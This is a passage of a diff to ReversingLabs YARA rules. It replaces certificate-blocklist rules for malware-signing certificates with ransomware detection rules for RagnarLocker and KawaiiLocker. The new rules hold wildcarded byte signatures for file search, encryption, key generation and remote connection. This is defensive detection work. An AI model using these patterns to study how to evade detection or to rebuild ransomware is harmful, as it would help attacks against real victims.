?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 33 D2 53 50 66 89 54 + 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 33 C9 53 52 66 89 + 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 47 ?? 83 C4 ?? 50 89 5C 24 ?? 89 44 24 ?? E8 ?? + ?? ?? ?? 53 53 8D 84 24 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 EC ?? 8B + } + $encrypt_files_p2 = { + F4 33 C9 8D 84 24 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 89 5E ?? 89 64 24 ?? 66 89 4E ?? + 8D 50 ?? 90 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B C2 D1 F8 50 8D 84 24 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 6A ?? 8D 94 24 ?? ?? ?? ?? 52 53 FF 15 ?? ?? ?? ?? + 85 C0 74 ?? 83 EC ?? 8B F4 33 C0 C7 46 ?? ?? ?? ?? ?? 89 5E ?? 66 89 46 ?? 8D 84 24 + ?? ?? ?? ?? 89 64 24 ?? 8D 50 ?? EB ?? 8D 49 ?? 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B + C2 D1 F8 50 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 6A ?? 8D 8C 24 + ?? ?? ?? ?? 51 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 EC ?? 8B F4 33 D2 C7 46 ?? ?? ?? + ?? ?? 89 5E ?? 8D 84 24 ?? ?? ?? ?? 66 89 56 ?? 89 64 24 ?? 8D 50 ?? EB ?? 8D 49 ?? + 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B C2 D1 F8 50 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 57 E8 ?? ?? ?? ?? 53 6A ?? 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? + ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 EC ?? 8B F4 33 D2 C7 46 ?? ?? + ?? ?? ?? 89 5E ?? 8D 44 24 ?? 66 89 56 ?? 89 64 24 ?? 8D 50 ?? 8D A4 24 ?? ?? ?? ?? + 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B C2 D1 F8 50 8D 44 24 ?? E8 ?? ?? ?? ?? 57 E8 ?? + ?? ?? ?? 53 6A ?? 8D 84 24 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? + ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 EC ?? 8B F4 33 D2 C7 + } + $encrypt_files_p3 = { + 46 ?? ?? ?? ?? ?? 89 5E ?? 8D 84 24 ?? ?? ?? ?? 66 89 56 ?? 89 64 24 ?? 8D 50 ?? 90 + 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B C2 D1 F8 50 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 57 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8D 44 24 ?? 50 53 6A ?? 53 53 53 68 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 89 5C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4C 24 ?? 51 FF 15 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B F8 53 + 57 E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8D 54 + 24 ?? 52 57 8B CE E8 ?? ?? ?? ?? 8B 74 24 ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 + ?? 8D 74 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 8B 8C 24 ?? ?? ?? ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 8C 24 ?? + ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $generate_key = { + 50 C7 44 24 ?? ?? ?? ?? ?? F3 A5 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? ?? ?? + ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 8B 44 24 ?? 8D 4C 24 ?? 51 + 6A ?? 6A ?? 6A ?? 8D 54 24 ?? 52 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? ?? + ?? ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 8B 54 24 ?? 6A ?? 8D 4C + 24 ?? 51 6A ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? ?? ?? ?? 5B 8B 4C 24 + ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 8B 54 24 ?? 6A ?? 8D 44 24 ?? 50 8D 4C 24 + ?? 51 6A ?? 52 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? + ?? ?? ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 8B 44 24 ?? C1 E8 ?? + 89 44 24 ?? 03 C3 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 5F 5E 5D B8 ?? ?? ?? + ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 53 55 56 E8 ?? ?? ?? ?? 8B + 4C 24 ?? 83 C4 ?? 89 5C 24 ?? 83 C3 ?? 53 8D 44 24 ?? 50 56 6A ?? 6A ?? 6A ?? 51 FF + 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? ?? ?? ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? + ?? 83 C4 ?? C2 ?? ?? 8B 7C 24 ?? 8B 54 24 ?? 57 56 52 E8 ?? ?? ?? ?? 8B 44 24 ?? 56 + 89 38 E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 5F 5E 5D 5B 33 CC 33 C0 E8 ?? ?? ?? ?? 83 + C4 ?? C2 + } + $remote_connection = { + 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 57 8D 44 24 ?? 50 68 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 46 ?? 83 + F8 ?? 74 ?? 8B 46 ?? 8D 7E ?? 83 E8 ?? 83 78 ?? ?? 7E ?? 8B 48 ?? 51 8B CF E8 ?? ?? + ?? ?? 8B 3F 57 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 54 24 ?? 52 89 44 24 ?? FF 15 ?? ?? + ?? ?? 85 C0 75 ?? 8B 46 ?? 50 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C0 5F 8B 8C 24 + ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 8B 48 ?? 8B 11 8B 02 0F B7 56 + ?? B9 ?? ?? ?? ?? 52 89 44 24 ?? 66 89 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 4E ?? 66 89 44 + 24 ?? 6A ?? 8D 44 24 ?? 50 51 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? FF 15 ?? ?? ?? ?? 8B + 56 ?? 52 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C0 5F 8B 8C 24 ?? ?? ?? ?? 33 CC E8 + ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 8B 8C 24 ?? ?? ?? ?? 5F 33 CC B8 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Euro May SP Z O O" and ( pe.signatures [ i ] . serial == "00:b0:16:71:24:ca:59:14:9e:64:d2:92:eb:4b:14:20:14" or pe.signatures [ i ] . serial == "b0:16:71:24:ca:59:14:9e:64:d2:92:eb:4b:14:20:14" ) and 1585267200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $enum_shares ) and ( all of ( $find_files_p* ) ) and ( $generate_key ) and ( all of ( $encrypt_files_p* ) ) and ( $remote_connection ) } - -rule REVERSINGLABS_Cert_Blocklist_112613B7B5F696Cf377680F6463Fcc8C : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Ragnarlocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects RagnarLocker ransomware." author = "ReversingLabs" - id = "c0015521-b163-51ab-8c27-da3b1a8df084" - date = "2020-08-05" - modified = "2023-11-08" + id = "3bc3765a-f1f8-59bc-bbe8-6821654b334f" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4442-L4458" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.RagnarLocker.yara#L1-L108" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "50fd35617e059a5fe9d9e0fdb4b880c20e406357bbb2d037f9e6e9db47b8e49f" + logic_hash = "398f0e5e003f87edf90cdea718be6b10470df317214d00db4dc6c4cccc5b6748" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "RagnarLocker" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 33 C0 B9 ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 8B 75 ?? 57 + 8D BD ?? ?? ?? ?? F3 AB 8B 3D ?? ?? ?? ?? 39 45 ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 8D + 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75 + ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF D3 + } + $find_files_p2 = { + 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? + ?? 83 FB ?? 75 ?? C7 45 ?? ?? ?? ?? ?? 33 F6 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? FF 74 B5 ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? + ?? 46 83 FE ?? 7C ?? 33 C0 85 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 + 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 50 FF 75 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 + FF D6 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 50 FF D6 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF D6 6A ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? + ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? + ?? ?? 8B 45 ?? 8B 1D ?? ?? ?? ?? 8B 75 ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + 56 FF D3 + } + $find_files_p3 = { + 33 F6 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 90 FF 74 B5 ?? + 53 FF D7 85 C0 74 ?? 46 83 FE ?? 72 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 8B 45 ?? 8B 75 ?? 8D 8D ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? E9 + ?? ?? ?? ?? 5F 5E 32 C0 5B 8B E5 5D C3 FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E B0 ?? 5B 8B + E5 5D C3 + } + $encrypt_files_p1 = { + 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 83 C4 ?? 68 ?? ?? ?? ?? 50 FF D7 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D7 56 8B 35 ?? ?? + ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 50 FF D6 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 50 68 ?? ?? ?? ?? FF D6 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8B F0 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? + ?? ?? 8B F8 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? 56 8D 85 ?? ?? ?? + ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 + } + $encrypt_files_p2 = { + 8D 45 ?? 50 57 68 ?? ?? ?? ?? 56 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? + 57 50 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? + 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? 8B 35 ?? ?? ?? + ?? 8D 4D ?? 6A ?? 51 FF 75 ?? FF 75 ?? 50 FF D6 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 68 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 + C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 50 8D 85 ?? ?? ?? ?? + 50 FF 75 ?? FF D6 8B 45 ?? 50 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? + ?? ?? ?? FF D0 FF 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BF ?? ?? + ?? ?? 89 45 ?? 8D 57 ?? 8B CF D3 E8 A8 ?? 0F 84 ?? ?? ?? ?? 8D 47 ?? C7 45 ?? ?? ?? + ?? ?? 66 89 45 ?? 33 F6 33 C0 50 50 50 50 50 68 ?? ?? ?? ?? 50 66 89 45 ?? 8D 45 ?? + 50 FF 15 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? + ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? + ?? 66 8B 85 ?? ?? ?? ?? 66 3B 45 ?? 75 ?? 66 8B 85 ?? ?? ?? ?? 66 3B 45 ?? B8 ?? ?? + ?? ?? 0F 44 F0 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? + ?? ?? ?? 83 EF ?? 8B 45 ?? 0F 89 ?? ?? ?? ?? 0F 57 C0 C7 85 + } + $encrypt_files_p3 = { + 0F 29 85 ?? ?? ?? ?? 0F 29 85 ?? ?? ?? ?? 0F 29 85 ?? ?? ?? ?? 0F 29 85 ?? ?? ?? ?? + 0F 29 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 68 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 68 + ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? + ?? ?? B8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 6A ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 + FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? + 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 + C0 74 ?? FF 75 ?? 8B 35 ?? ?? ?? ?? FF D6 FF 75 ?? FF D6 6A ?? FF 15 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Infoware Cloud Limited" and pe.signatures [ i ] . serial == "11:26:13:b7:b5:f6:96:cf:37:76:80:f6:46:3f:cc:8c" and 1566518400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_B3F906E5E6B2Cf61C5E51Be79B4E8777 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Kawaiilocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects KawaiiLocker ransomware." author = "ReversingLabs" - id = "dc826355-bd15-58b3-adcb-55b704f03c0d" - date = "2020-08-05" - modified = "2023-11-08" + id = "8c368e2d-3c6f-5c4b-880b-ebdb06dcf901" + date = "2020-08-17" + modified = "2020-08-17" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4460-L4478" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.KawaiiLocker.yara#L1-L135" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "037e154854c1128fb73d2221c2b7d7211d977492378614fcf4fde959207e34b3" + logic_hash = "d86b41ef1c43da55869ad26facd5efdf232277f0e33483690a69a04c4ba8f7da" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" - importance = 25 - + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "KawaiiLocker" + tc_detection_factor = 5 + importance = 25 + + strings: + $search_files = { + 55 8B EC 51 B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 ?? 51 87 4D ?? 53 56 57 88 4D ?? 89 55 + ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 45 ?? E8 ?? + ?? ?? ?? 8B 55 ?? 80 7C 02 ?? ?? 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D0 4A 8D 45 ?? E8 + ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F + 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B D0 83 CA ?? 3B D0 75 ?? 80 7D ?? ?? 0F 85 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8A 4D + ?? 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? FF 75 ?? 68 + ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 13 E8 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? FF 75 ?? 68 ?? + ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D + 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 85 C0 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? + FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 08 FF 51 ?? 83 C3 ?? 4E 0F 85 ?? ?? ?? ?? + E9 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8B C7 83 C8 ?? 3B C7 75 ?? 80 7D ?? ?? 0F 85 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8A 4D + ?? 8B 55 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? BB ?? ?? ?? ?? FF 75 ?? 68 + ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 13 E8 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? FF 75 ?? 68 ?? + ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D + 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 85 C0 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? + FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 08 FF 51 ?? 83 C3 ?? 4E 0F 85 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? + E8 ?? ?? ?? ?? C3 + } + $remote_connection = { + 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? B2 + ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B + 45 ?? 50 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 59 E8 ?? ?? ?? ?? + 8D 4D ?? BA ?? ?? ?? ?? 33 C0 E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 + ?? 8D 4D ?? BA ?? ?? ?? ?? B8 